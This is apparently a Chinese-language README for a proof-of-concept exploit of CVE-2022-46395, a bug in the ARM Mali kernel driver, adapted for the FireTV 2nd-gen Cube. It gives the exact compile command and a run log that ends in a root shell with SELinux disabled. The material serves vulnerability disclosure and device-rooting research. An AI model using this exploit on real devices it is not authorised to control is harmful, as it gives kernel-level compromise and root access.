
CVE-2022-46395 POC for FireTV 2nd gen Cube (raven)
这是安全研究员 Man Yue Mo 为 CVE-2022-46395 编写的 Pixel 6 POC 的一个分支。请阅读他关于此漏洞的详细分析文章(这里)。已做出修改以适应 FireOS 的 32 位用户空间。该 POC 利用了 ARM Mali 内核驱动程序中的一个漏洞,以获得任意内核代码执行的能力,随后用于禁用 SELinux 并获取 root 权限。
该漏洞利用已在 PS7652/3564(2023年8月下旬)中进行了修补。作为参考,以下命令用于在 ndk-21 中使用 clang 进行编译:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi28-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o raven_buf
为获得最快的结果,请在刚重启后运行。通常该 POC 需要 2-5 分钟来获取 root 权限。
raven:/ $ /data/local/tmp/raven_buf
Amazon/raven/raven:9/PS7646.3565N/0028085972224:user/amz-p,release-keys
benchmark_time 138
failed after 100
finished reset: 342278966 fault: 338143633 195 err 0 read 3
failed to find pgd, retry
finished reset: 731402639 fault: 724605931 208 err 0 read 3
failed to find pgd, retry
finished reset: 67309348 fault: 66434848 210 err 0 read 3
failed to find pgd, retry
failed after 200
failed after 300
benchmark_time 135
failed after 400
failed after 500
failed after 600
benchmark_time 131
failed after 700
finish reset: 797174916 fault: 788811083 352 err 0 read 3
found pgd at page 6
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001d0 1d0
overwrite addr : 1043001d0 1d0
result 50
raven:/ #